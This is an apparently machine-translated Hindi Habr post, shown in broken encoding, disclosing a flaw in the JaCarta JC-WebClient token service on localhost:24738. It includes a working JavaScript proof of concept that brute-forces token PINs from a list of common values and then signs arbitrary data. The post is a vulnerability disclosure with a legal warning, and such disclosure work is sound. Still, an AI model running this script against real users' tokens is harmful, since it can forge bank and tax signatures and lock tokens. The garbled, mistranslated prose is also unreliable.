рдЬрд╛рдХрд╛рд░реНрддрд╛ рд╡реЗрдмрдХреНрд▓рд╛рдЗрдВрдЯ рдХрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд░рдирд╛ рдпрд╛ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рдореЗрдВ рдЯреЛрдХрди рд╕реНрдЯреЛрд░ рдХрд░рдирд╛

"рдЬрдм рдПрдХ рдкрд▓ рдХреЗ рд▓рд┐рдП рдХрд╛рд▓рд╛ рдЖрд╡рд░рдг рдЙрдбрд╝ рдЧрдпрд╛, рддреЛ рдорд╛рд░реНрдЧрд░рд┐рдЯрд╛ рдиреЗ рдореБрдбрд╝рдХрд░ рджреЗрдЦрд╛ рдХрд┐ рд╡рд╣рд╛рдБ рди рдХреЗрд╡рд▓ рдмрд╣реБ-рд░рдВрдЧреАрди рдЯреЙрд╡рд░ рд╣реИрдВ рдЬреЛ рдЙрдирдХреЗ рдКрдкрд░ рдПрдХ рд╣рд╡рд╛рдИ рдЬрд╣рд╛рдЬ рдХреЗ рд╕рд╛рде рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХреЛрдИ рд╢рд╣рд░ рд╣реА рдирд╣реАрдВ рдерд╛ рдЬреЛ рдЬрдореАрди рдореЗрдВ рдЪрд▓рд╛ рдЧрдпрд╛ рдерд╛ рдФрд░ рдХреЛрд╣рд░рд╛ рдЫреЛрдбрд╝ рджрд┐рдпрд╛ рдерд╛ред"

рдПрдордП рдмреБрд▓реНрдЧрд╛рдХреЛрд╡
"рдорд╛рд╕реНрдЯрд░ рдФрд░ рдорд╛рд░реНрдЧрд░реАрдЯрд╛"

рдирдорд╕реНрдХрд╛рд░, рд╣реЗрдмреНрд░! рд╕рдВрднрд╡рддрдГ рд▓рдЧрднрдЧ рд╣рд░ рд░реВрд╕реА рд╕рдВрдЧрдарди рдХреЗ рдкрд╛рд╕ рдПрдХ рд╣рдВрд╕рдореБрдЦ рдмрд╣реБрд░рдВрдЧреА рд░рдВрдЧ рдореЗрдВ рдпреЗ рдЙрддреНрдкрд╛рдж рд╣реИрдВред рд╣рдо рдЬреИрдХрд╛рд░реНрддрд╛ рдЙрддреНрдкрд╛рджреЛрдВ рдФрд░ рдЙрдирдХреЗ рд▓рд┐рдП рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдмрд╛рдд рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдЗрд╕ рддрд░рд╣ рдХреА рдЦреБрд╢реА рдореЗрд░реЗ рд▓рд┐рдП рднреА рдЧрд┐рд░ рдЧрдИ, рдФрд░ рдореИрдВрдиреЗ рдЙрдирдХреЗ рд╕рд╛рд░ рдпрд╛ рдПрдкреАрдЖрдИ рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рд╡рд╛рд▓реЗ рдХрд╛рд▓реЗ рдХрд╡рд░ рдХреЛ рдереЛрдбрд╝рд╛ рд╡рд┐рд╕реНрддрд╛рд░рд┐рдд рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ред рдХреБрдЫ рдмреИрдВрдХ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЕрдкрдиреЗ рдЧреНрд░рд╛рд╣рдХреЛрдВ рдХреЛ JaCarta GOST-2 рдЯреЛрдХрди рдЬрд╛рд░реА рдХрд░рддреЗ рд╣реИрдВ, рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрд▓рд╛рджреАрди R.D. рд╕реЗ JC-WebClient рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреА рд╕реНрдерд╛рдкрдирд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред

рдпрджреНрдпрдкрд┐ рдбреЗрд╡рд▓рдкрд░ рдХреА рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рдХреЛрдИ рддрд╛рдЬрд╝рд╛ рд╡рд┐рддрд░рдг рдирд╣реАрдВ рд╣реИ (рдбреЗрдореЛ рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рдЖрдк рдПрдХ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдг рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдпрд╣ рдкреБрд░рд╛рдиреЗ рдПрдкреАрдЖрдИ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ), рд╡рд┐рддрд░рдг рдХреЛ рдЖрд░рдмреА рдХреА рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ "рдЬреЗрд╕реА-рд╡реЗрдмрдХреНрд▓рд╛рдЗрдВрдЯ-4.0.0.1186" рд▓рд╛рдЗрди рдкрд░ Google рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдкреЛрд░реНрдЯ 24738 рдЦреБрд▓рддрд╛ рд╣реИ, рдЬрд┐рд╕ рдкрд░ рдпрд╣ рдХреНрд▓рд╛рдЗрдВрдЯ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред

https://localhost:24738/JCWebClient.js

рдбреЗрд╡рд▓рдкрд░ рдХреА рд╡реЗрдмрд╕рд╛рдЗрдЯ рдЦреБрд▓реЗ рддреМрд░ рдкрд░ рдФрд░ рдЗрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдПрдкреАрдЖрдИ рдХрд╛ рд╡рд░реНрдгрди рдХрд░рддреА рд╣реИ (рд╕рд╛рде рд╣реА jcFS.dll рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕ рдирд┐рд░реНрдорд╛рддрд╛ рдХреА рд╕рдВрдкреВрд░реНрдг рдЯреЛрдХрди рд▓рд╛рдЗрди рдХреА рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░реНрдп рдХрд░рддреА рд╣реИ, рдЬреЛ "JaCarta рд╕рд┐рдВрдЧрд▓ рдХреНрд▓рд╛рдЗрдВрдЯ" рдЗрдВрд╕реНрдЯреЙрд▓реЗрд╢рди рдкреИрдХреЗрдЬ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ рдФрд░ рд▓рдмреНрдмреЛрд▓реБрдЖрдм рдпрд╣ рд╣реИ рдХрд┐ рдХрдИ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдпрд╛ рддреЛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ) рдХрд┐рд╕реА рднреА рдЪреАрдЬрд╝ рдХреЗ рд╕рд╛рде рдЯреЛрдХрди рдХреЗ рдбрд┐рдЬрд┐рдЯрд▓ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░реЗрдВ, рдПрдХ рдкрд┐рди рдХреЛрдб рдЙрдард╛рдПрдВ, рдпрд╛ рдЗрд╕реЗ рджрд░реНрдЬ рдХрд░рдиреЗ рдХреЗ рдЕрд╕рдлрд▓ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рд╕рд╛рде рдЯреЛрдХрди рдХреЛ рдмреНрд▓реЙрдХ рдХрд░реЗрдВред рдФрд░ рдпрд╣ рд╕рдм рдЗрдВрдЯрд░рдиреЗрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджреВрд░ рд╕реЗред

рдпрд╣ рдХреЛрдИ рд░рд╣рд╕реНрдп рдирд╣реАрдВ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдХреНрд╕рд░ рдЯреЛрдХрди рдХреЗ рд▓рд┐рдП рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдкрд┐рди рдХреЛрдб рдЫреЛрдбрд╝ рджреЗрддреЗ рд╣реИрдВ, рдпрд╛ рдЬрд┐рд╕рдХреЛ рдЙрдиреНрд╣реЛрдВрдиреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рд╣реИ (рд╡реЗ рдЖрдорддреМрд░ рдкрд░ рдбрд░рддреЗ рд╣реИрдВ рдХрд┐ рдкрд┐рди рдХреЛрдб рдмрджрд▓рдиреЗ рдкрд░ рд╕рдм рдХреБрдЫ рдХрд╛рдо рдХрд░рдирд╛ рдмрдВрдж рдХрд░ рджреЗрдЧрд╛)ред

рдЕрдХреНрд╕рд░, 123456 рдкреНрд░рдХрд╛рд░ рдХреЗ рдкрд┐рди рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЯреЛрдХрди рдХрд╛рд░реНрдп рджрд┐рд╡рд╕ рдХреЗ рджреМрд░рд╛рди рдпрд╛ рдШрдбрд╝реА рдХреЗ рдЖрд╕рдкрд╛рд╕ рднреА рдХрдВрдкреНрдпреВрдЯрд░ рдкреЛрд░реНрдЯ рдпрд╛ рдпреВрдПрд╕рдмреА рд╣рдм рдореЗрдВ рдЕрдЯрдХрд╛ рд░рд╣рддрд╛ рд╣реИред

JC-WebClient рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдпрджрд┐ рдЖрдк рдРрд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдПрдХ рд╡реЗрдм рдкреЗрдЬ рдпрд╛ рд╕рд╛рдзрд╛рд░рдг рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд╕рд╛рде рдПрдХ рдИрдореЗрд▓ рдкрд░реНрдЪреА рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЯреЛрдХрди рдХреБрдВрдЬреА рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдпрд╣ рд╕реАрдзреЗ рдЯреЛрдХрди рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рд╕реЗ рд╕рдВрднрд╡ рд╣реИ, рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд╣рд▓реЗ рд╣реА рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ ), рд▓реЗрдХрд┐рди рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВ рдкрд┐рди рдХреЛрдб рдЪреБрдиреЗрдВ рдФрд░ рдХрд┐рд╕реА рднреА рдбреЗрдЯрд╛ рдкрд░ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдХрд╣реАрдВ рднреЗрдЬреЗрдВред

рдкреБрдирд░рд╛рд╡реГрддрд┐ рдХреЗ 10 рдЕрд╕рдлрд▓ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЯреЛрдХрди рдЕрд╡рд░реБрджреНрдз рд╣реИ, рдФрд░ рдРрд╕рд╛ рдХрд┐рддрдиреА рдмрд╛рд░ рд╣реЛрддрд╛ рд╣реИ, рдЕрдЧрд░ рдЕрдирд▓реЙрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХрд╛ рдкрд┐рди рдХреЛрдб рд╕реЗрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдХреЗрд╡рд▓ рдЖрд░рдВрднрд┐рдХ рдорджрдж рдорд┐рд▓реЗрдЧреАред рдФрд░ рдпрд╣ рд╕рдордп рдХрд░реЛрдВ рдкрд░ (рдФрд░ рдмреНрдпрд╛рдЬ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдХрд░ рдХреЗ рд╕рдВрдЧрдарди рдХреЗ рдХрд░ рдЦрд╛рддреЗ рдХреЛ рдЕрд╡рд░реБрджреНрдз рдХрд░рдиреЗ рдкрд░) рднреБрдЧрддрд╛рди рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЖрдкреВрд░реНрддрд┐рдХрд░реНрддрд╛рдУрдВ рд╕реЗ, рд╕рд╛рдорд╛рдиреНрдп рддреМрд░ рдкрд░, рдЕрдЪреНрдЫрд╛рдИ рдкрд░реНрдпрд╛рдкреНрдд рдирд╣реАрдВ рд╣реИред



рдкрд┐рди рдХреЛрдб рдХреЛ рдПрдиреНрдпреВрдорд░реЗрдЯ рдХрд░рдиреЗ рдХреА рд╕рдорд╕реНрдпрд╛ рдХреЛ рдХреЗрд╡рд▓ JC-WebClient рдЗрдВрдЯрд░рдлрд╝реЗрд╕ рд╡рд┐рдВрдбреЛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджрд░реНрдЬ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдпрд╛ рдПрдХ рдЖрдзреЗ рдЙрдкрд╛рдп рдХреЗ рд░реВрдк рдореЗрдВ рд╣рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЗрд╕реЗ рджрд░реНрдЬ рдХрд░рдиреЗ рдХреЗ 3 рдЕрд╕рдлрд▓ рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдПрдХ рд╕рдВрджреЗрд╢ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдХреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЛ рдмреНрд▓реЙрдХ рдХрд░реЗрдВ рдФрд░ рдЬрдм рддрдХ рд╡рд╣ рдЗрдВрддрдЬрд╛рд░ рди рдХрд░реЗред рдЖрдкрдХреЗ рдХрд╛рд░реНрдпреЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░реЗрдЧрд╛ред

рдореИрдВрдиреЗ рдПрдХ рдЫреЛрдЯреА рдкрд░реАрдХреНрд╖рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓рд┐рдЦреА рдЬреЛ рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ рджрд░реНрд╢рд╛рддреА рд╣реИред рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕рднреА рдЖрдзреБрдирд┐рдХ рдФрд░ рдЕрдкреЗрдХреНрд╖рд╛рдХреГрдд рдЖрдзреБрдирд┐рдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдкрд░ рдХрд╛рдо рдХрд░рддреА рд╣реИ, рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ IE :)

рд╕реНрд╡рд╛рднрд╛рд╡рд┐рдХ рд░реВрдк рд╕реЗ, рдпрд╣ рдХрд╣реАрдВ рднреА рдХреБрдЫ рднреА рдирд╣реАрдВ рднреЗрдЬрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдЕрдиреБрдХреНрд░рдо рдХреЗ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред

рд╕реНрдХреНрд░рд┐рдкреНрдЯ "рдЯреЛрдХрди рдХреЛ рдорд╛рд░рдиреЗ" рдХреЗ рд▓рд┐рдП рдкрд┐рди рдХреЛрдб рджрд░реНрдЬ рдХрд░рдиреЗ рдХреЗ 10 рдкреНрд░рдпрд╛рд╕реЛрдВ рдХреА рдкреВрд░реА рдЧрдгрдирд╛ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЖрдк рдХреЗрд╡рд▓ рдПрдХ рдкрд░реАрдХреНрд╖рдг рдЯреЛрдХрди рдХреЗ рд╕рд╛рде рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛ рд╕рдХрддреЗ рд╣реИрдВ!

рдпрд╣ рднреА рдпрд╛рдж рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рдкрд░реАрдХреНрд╖рдг рдЯреЛрдХрди рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдЗрд╕ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд╛рдиреВрди рдХрд╛ рдЙрд▓реНрд▓рдВрдШрди рд╣реИред

рдкрд░реАрдХреНрд╖рд╛ рдкрд░рд┐рдгрд╛рдо:


рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрд░реАрдХреНрд╖рдг рдХреЗ рд▓рд┐рдП JC-WebClient рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЬреЛрдбрд╝реА рдФрд░ рдкреНрд░рдорд╛рдг рдкрддреНрд░ рдмрдирд╛рддреА рд╣реИред
рдЖрдк EToken PRO Java 72 K, JaCarta GOST, JaCarta GOST-2 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЯреЛрдХрди рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд┐рди 111111 рдХреЗ рд╕рд╛рде рдкреВрд░реНрд╡-рдЖрд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдкрд░реАрдХреНрд╖рдг рд╢реБрд░реВ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЖрдкрдХреЛ JC-WebClient рд╕рдВрд╕реНрдХрд░рдг 4 рдпрд╛ рдмрд╛рдж рдореЗрдВ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } var tokenID = slot.id, //   userPin = '111111'; // PIN-  //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('1) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //  PIN- JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: userPin } }); //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('2) Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //          var keyPairID = JCWebClient2.createKeyPair({ args: { paramSet: "XA", description: "my description", algorithm: JCWebClient2.Vars.KeyAlgorithm.GOST_2012_256 } }); //     (Distinguished Name (DN)), //    (Common Name, (CN)) var dn = { 'CN': '123', 'C': 'RU' }; //  ,      var exts = { 'keyUsage': 'Digital Signature' }; //   var contID = JCWebClient2.generateUserSelfSignedCertificate({ args: { keyPairID: keyPairID, dn: dn, exts: exts, days: 365 } }); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id      var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //   PIN- JCWebClient2.unbindToken(); 

рдФрд░ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдСрдбрд┐рдЯ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реА:

 // JCWebClient2 JCWebClient2.initialize(); document.write("JC-WebClient   "+" "); //  JCWebClient2 var vers=JCWebClient2.getJCWebClientVersion(); document.write(" JCWebClient2 " + vers +" "); //         var slots = JCWebClient2.getAllSlots(); document.write(" : "+slots.length+" "); //   for (i = 0; i < slots.length; i++) { var slot = slots[i]; document.write(": "+slot.device.name+" "+slot.device.model+" "); } //   var tokenID = slot.id; //       // (  JCWebClient2.Vars.AuthState.notBinded) var tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //    var list=[]; //   list = JCWebClient2.getContainerList({ args: { tokenID: tokenID } }); // id     var data = list[0]; var contID = data.id; document.write("ID : "+data.id+" "); document.write(" : "+data.description+" "); document.write(" : "+data.algorithm+" "); //    (Hello World  Base64) var dataToSign = 'SGVsbG8sIFdvcmxkIQ=='; document.write("  : "+dataToSign+" "); //   var pin=["1234567890", "123456", "1234567", "12345678", "123456789", "0987654321", "111111", "qwerty", "012345", "0123456", "01234567"]; //  function bind(pass) { JCWebClient2.bindToken({ args: { tokenID: tokenID, pin: pass } }); } var i=0; //     //!  10    !!!!!!!!!! while (i < 10) { i++; try{ bind(pin[i]); tokenState = JCWebClient2.getLoggedInState(); //  ,      if(tokenState.state=1) { document.write("   : "+pin[i]+" "); break; } } //    catch(e){document.write(e+" ");} } //    // (  JCWebClient2.Vars.AuthState.binded) tokenState = JCWebClient2.getLoggedInState(); document.write('Token is binded: ' + (tokenState.state == JCWebClient2.Vars.AuthState.binded)+" "); //   var CertificateBody=JCWebClient2.getCertificateBody({ args: { id: contID } }); document.write("CertificateBody: "+CertificateBody+" "); //  ,        Base64 var signedData = JCWebClient2.signBase64EncodedData({ args: { contID: contID, data: dataToSign, attachedSignature: true } }); document.write(" . "); document.write(" : "+signedData+" "); //  var signature = signedData; var res = JCWebClient2.verifyBase64EncodedData({ args: { signature: signature } }); document.write("  : "+res+" "); //   PIN- JCWebClient2.unbindToken(); 

тЖТ JC-WebClient API рд╕реВрдЪрдирд╛ рд╕реНрд░реЛрдд

Source: https://habr.com/ru/post/hi439790/


All Articles